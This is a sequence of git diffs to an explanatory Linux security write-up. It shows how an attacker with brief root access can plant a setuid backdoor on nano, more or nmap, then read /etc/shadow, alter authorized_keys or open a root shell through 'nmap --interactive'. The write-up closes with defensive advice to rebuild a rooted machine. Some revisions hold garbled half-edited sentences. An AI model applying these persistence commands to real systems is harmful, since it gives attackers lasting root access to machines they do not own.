markwh245 · February 13, 2020 14:01 · Jan 16, 2014 · Dec 11, 2013 · Dec 11, 2013 · Dec 11, 2013
diff --git a/setuid-root-backdoor.md b/setuid-root-backdoor.md
@@ -1,4 +1,4 @@
-# Why You Can't Un-Root a Compromise Machine
+# Why You Can't Un-Root a Compromised Machine
 
 Let's say somebody temporarily got root access to your system, whether because you "temporarily" gave them sudo rights, they guessed your password, or any other way. Even if you can disable their original method of accessing root, there's an infinite number of dirty tricks they can use to easily get it back in the future.
 

diff --git a/setuid-root-backdoor.md b/setuid-root-backdoor.md
@@ -1,4 +1,4 @@
-# Web Security: why it's impossible to "unroot" a compromised machine.
+# Why You Can't Un-Root a Compromise Machine
 
 Let's say somebody temporarily got root access to your system, whether because you "temporarily" gave them sudo rights, they guessed your password, or any other way. Even if you can disable their original method of accessing root, there's an infinite number of dirty tricks they can use to easily get it back in the future.
 

diff --git a/setuid-root-backdoor.md b/setuid-root-backdoor.md
@@ -1,11 +1,12 @@
-# Root backdoor via setuid
+# Web Security: why it's impossible to "unroot" a compromised machine.
 
-Let's say somebody got access to your root account for a second. There are all kinds of dirty tricks they can install to let them log back in. Here's a really subtle one based on setuid that effectively gives a root shell to any user on the system. [Setuid background](http://en.wikipedia.org/wiki/Setuid)
+Let's say somebody temporarily got root access to your system, whether because you "temporarily" gave them sudo rights, they guessed your password, or any other way. Even if you can disable their original method of accessing root, there's an infinite number of dirty tricks they can use to easily get it back in the future.
 
-Adding the "setuid bit" to any executable tells Linux no matter which user executes a program, it should be run with the privileges of its owner (particularly, root).
+While the obvious tricks are easy to spot, like adding an entry to /root/.ssh/authorized_keys, or creating a new user, potentially via running malware, or via a cron job. I recently came across a rather subtle one that doesn't require changing any code, but instead exploits a standard feature of Linux user permissions system called [setuid ](http://en.wikipedia.org/wiki/Setuid) to subtly allow them to execute a root shell from any user account from the system (including `www-data`, which you might not even know if compromised).
 
-If a ha
-To add the "setuid bit" to `nano` (a simple built-in text editor), a hacker who has gained root access can do the following:
+If the "setuid bit" (or flag, or permission mode) is set for executable, the operating system will run not as the current user, but as the owner. If that executable was installed globally, (as in `sudo apt-get install vim`), its owner will likely be `root`, and any user running `vim` it will be effectively running `sudo vim`, but without the sudo authorization.
+
+For example, here's how a "hacker" with temporary root access can add the "setuid bit" to `nano`, a built-in text editor:
 
 ```
 ssh root@target
@@ -18,10 +19,10 @@ chmod u+s /bin/nano    # installs the backdoor
 ls -al /bin/nano       #    -rwxr-xr-x 1 root root 191976 2010-02-01 20:30 /bin/nano
 ```
 
-With this backdoor in place, the hacker  you close the hole that allowed the hacker to login as root, if they can access any other account, will be able to , any other user on the system can now use `nano` to gain root-like powers:
+With this `nano` backdoor in place, the hacker will be able to regain root-level access even after you lock him out, if he can log in as any (non-privileged) user on the system:
 
 ```
-ssh randomuser@target
+ssh random-user@target
 
 cat /etc/shadow                      #    cat: /etc/shadow: Permission denied
 nano /etc/shadow                     #    SUCCESS - can set all passwords
@@ -43,11 +44,12 @@ nmap --interactive
 > !bash                # SUCCESS: launches root shell
 ```
 
-What's particularly nice about `nmap` is that (like `ping`) it needs root privileges to carry out most of its tests. Because of this very security issue its [manpage](http://manpages.ubuntu.com/manpages/precise/en/man1/nmap.1.html#contenttoc15) warns against using the setuid bit, implying that instead you should run it only with sudo. But who reads manpage warnings?
+What's particularly sneaky here is that 'nmap' (like its little brother 'ping') needs root privileges to carry out most of its tests. In fact, `ls -al /bin/ping` shows that it already has the "setuid bit" set, which is why we don't have to run `sudo ping` all the time. But because nmap makes it easy to execute arbitrary commands through it, the [nmap manpage](http://manpages.ubuntu.com/manpages/precise/en/man1/nmap.1.html#contenttoc15) warns against using it with setuid. But many sysadmins don't read manpages, and will not notice this important security hole.
 
-The moral of this story: 
+See [here](http://joshrendek.com/2013/02/why-setuid-is-bad-and-what-you-can-do/) for more info about setuid and nmap.
 
-* Never allow shell access to untrusted parties, since you probably don't understand the holes in Linux user permissions well enough.
-* Once your system has been hacked (especially rooted), you can't trust it anymore. Figure out what the exploit they used, then restore from a known clean backup, and plug the hole. Better yet, redeploy from scratch. (You're using an SCM tool like Chef or Puppet, right?)
+The moral of this whole story should be clear:
+* Once your system has been hacked (especially rooted), you can't trust it anymore. You need to figure out how it was originally exploited, then restore from a known clean backup, and plug the hole. Or better yet, you're using an SCM tool like chef or puppet and can easily redeploy from scratch.
+* In general, never allow shell access to untrusted parties, since you probably don't understand the holes in Linux user permissions well enough, and it can easily come back to bite you.
 
-This writeup was adapted from http://www.ping.eti.br/docs/01/13.txt
+Most of this writeup was adapted from http://www.ping.eti.br/docs/01/13.txt
diff --git a/setuid-root-backdoor.md b/setuid-root-backdoor.md
@@ -2,54 +2,48 @@
 
 Let's say somebody got access to your root account for a second. There are all kinds of dirty tricks they can install to let them log back in. Here's a really subtle one based on setuid that effectively gives a root shell to any user on the system. [Setuid background](http://en.wikipedia.org/wiki/Setuid)
 
-First install the backdoor, by ensuring that nmap (a common network scanning tool) has the setuid bit set:
+Adding the "setuid bit" to any executable tells Linux no matter which user executes a program, it should be run with the privileges of its owner (particularly, root).
 
-```bash
+If a ha
+To add the "setuid bit" to `nano` (a simple built-in text editor), a hacker who has gained root access can do the following:
+
+```
 ssh root@target
 
-which nmap
-#    /usr/bin/nmap
+whoami                 #    root
+ls -al /bin/nano       #    -rwxr-xr-x 1 root root 191976 2010-02-01 20:30 /bin/nano
 
-ls -al /usr/bin/nmap
-#    -r-xr-xr-x  1 root  wheel  32944  5 Oct 11:48 /usr/bin/nmap
+chmod u+s /bin/nano    # installs the backdoor
 
-chmod u+s /usr/bin/nmap
+ls -al /bin/nano       #    -rwxr-xr-x 1 root root 191976 2010-02-01 20:30 /bin/nano
+```
 
-ls -al `which nmap`
-#    -rwsr-xr-x  2 root  wheel  121216  5 Oct 11:48 /usr/bin/nmap
+With this backdoor in place, the hacker  you close the hole that allowed the hacker to login as root, if they can access any other account, will be able to , any other user on the system can now use `nano` to gain root-like powers:
 
-logout
 ```
+ssh randomuser@target
 
-Adding the setuid bit ensures that no matter which user executes a program, it should be run with the privileges of its owner, in this case root.
+cat /etc/shadow                      #    cat: /etc/shadow: Permission denied
+nano /etc/shadow                     #    SUCCESS - can set all passwords
+nano /root/.ssh/authorized_keys      #    SUCCESS - can set authorized public keys (and read private keys)
+```
 
-To exploit it, simply take advantage of the fact that `nmap --interactive` allows you to easily shell out commands:
+The exploit can be made even more elegant if the target system has `nmap` installed. It's a common network diagnostic tool (like `ping` or `traceroute`, but with an added bonus: `nmap --interactive` allows you to easily execute shell commands By setting `nmap`'s setuid bit, we can easily make it a root shell:
 
 ```
+# simulate hacker with root access
+ssh root@localhost 'chmod u+s /usr/bin/nmap'
+
 ssh anyuser@target
+whoami                   # anyuser
+cat /etc/shadow          # /etc/shadow: Permission denied
 nmap --interactive
-> '!whoami'
-#    root
-```
-
-If the target doesn't have nmap installed, you can get add the sticky bit to any other compiled executable. For example, adding it to the `nano` will allow you to read/write any file on the system:
-
+> !whoami              # root
+> !cat /etc/shadow     # SUCCESS: prints out hashed passwords
+> !bash                # SUCCESS: launches root shell
 ```
-# simulates hacker's actions while having root access
-ssh root@target 'chmod u+s /usr/bin/nano'
-
-whoami 
-#    randomuser@target
 
-cat /etc/shadow
-#    cat: /etc/shadow: Permission denied
-
-nano /etc/shadow
-#    SUCCESS - can update all passwords
-
-nano /root/.ssh/authorized_keys
-#    SUCCESS - can write public keys
-```
+What's particularly nice about `nmap` is that (like `ping`) it needs root privileges to carry out most of its tests. Because of this very security issue its [manpage](http://manpages.ubuntu.com/manpages/precise/en/man1/nmap.1.html#contenttoc15) warns against using the setuid bit, implying that instead you should run it only with sudo. But who reads manpage warnings?
 
 The moral of this story: 
 

diff --git a/setuid-root-backdoor.md b/setuid-root-backdoor.md
@@ -1,10 +1,6 @@
 # Root backdoor via setuid
 
-Let's say somebody got access to your root account for a second.
-There are all kinds of dirty tricks they can install to let them log back in.
-Here's a really subtle one based on setuid that effectively gives a root shell to any user on the system.
-
-[Setuid background](http://en.wikipedia.org/wiki/Setuid)
+Let's say somebody got access to your root account for a second. There are all kinds of dirty tricks they can install to let them log back in. Here's a really subtle one based on setuid that effectively gives a root shell to any user on the system. [Setuid background](http://en.wikipedia.org/wiki/Setuid)
 
 First install the backdoor, by ensuring that nmap (a common network scanning tool) has the setuid bit set:
 

diff --git a/setuid-root-backdoor.md b/setuid-root-backdoor.md
@@ -36,19 +36,23 @@ nmap --interactive
 #    root
 ```
 
-If you don't want to use nmap, you can get add the sticky bit to any other executable, although Ubuntu and other command distros don't respect setuid on shell scripts. To add it to `more`:
+If the target doesn't have nmap installed, you can get add the sticky bit to any other compiled executable. For example, adding it to the `nano` will allow you to read/write any file on the system:
 
 ```
 # simulates hacker's actions while having root access
-ssh root@target 'chmod u+s /usr/bin/more'
+ssh root@target 'chmod u+s /usr/bin/nano'
 
 whoami 
 #    randomuser@target
 
 cat /etc/shadow
 #    cat: /etc/shadow: Permission denied
 
-more /etc/shadow   # SUCCESS
+nano /etc/shadow
+#    SUCCESS - can update all passwords
+
+nano /root/.ssh/authorized_keys
+#    SUCCESS - can write public keys
 ```
 
 The moral of this story: 

diff --git a/setuid-root-backdoor.md b/setuid-root-backdoor.md
@@ -0,0 +1,59 @@
+# Root backdoor via setuid
+
+Let's say somebody got access to your root account for a second.
+There are all kinds of dirty tricks they can install to let them log back in.
+Here's a really subtle one based on setuid that effectively gives a root shell to any user on the system.
+
+[Setuid background](http://en.wikipedia.org/wiki/Setuid)
+
+First install the backdoor, by ensuring that nmap (a common network scanning tool) has the setuid bit set:
+
+```bash
+ssh root@target
+
+which nmap
+#    /usr/bin/nmap
+
+ls -al /usr/bin/nmap
+#    -r-xr-xr-x  1 root  wheel  32944  5 Oct 11:48 /usr/bin/nmap
+
+chmod u+s /usr/bin/nmap
+
+ls -al `which nmap`
+#    -rwsr-xr-x  2 root  wheel  121216  5 Oct 11:48 /usr/bin/nmap
+
+logout
+```
+
+Adding the setuid bit ensures that no matter which user executes a program, it should be run with the privileges of its owner, in this case root.
+
+To exploit it, simply take advantage of the fact that `nmap --interactive` allows you to easily shell out commands:
+
+```
+ssh anyuser@target
+nmap --interactive
+> '!whoami'
+#    root
+```
+
+If you don't want to use nmap, you can get add the sticky bit to any other executable, although Ubuntu and other command distros don't respect setuid on shell scripts. To add it to `more`:
+
+```
+# simulates hacker's actions while having root access
+ssh root@target 'chmod u+s /usr/bin/more'
+
+whoami 
+#    randomuser@target
+
+cat /etc/shadow
+#    cat: /etc/shadow: Permission denied
+
+more /etc/shadow   # SUCCESS
+```
+
+The moral of this story: 
+
+* Never allow shell access to untrusted parties, since you probably don't understand the holes in Linux user permissions well enough.
+* Once your system has been hacked (especially rooted), you can't trust it anymore. Figure out what the exploit they used, then restore from a known clean backup, and plug the hole. Better yet, redeploy from scratch. (You're using an SCM tool like Chef or Puppet, right?)
+
+This writeup was adapted from http://www.ping.eti.br/docs/01/13.txt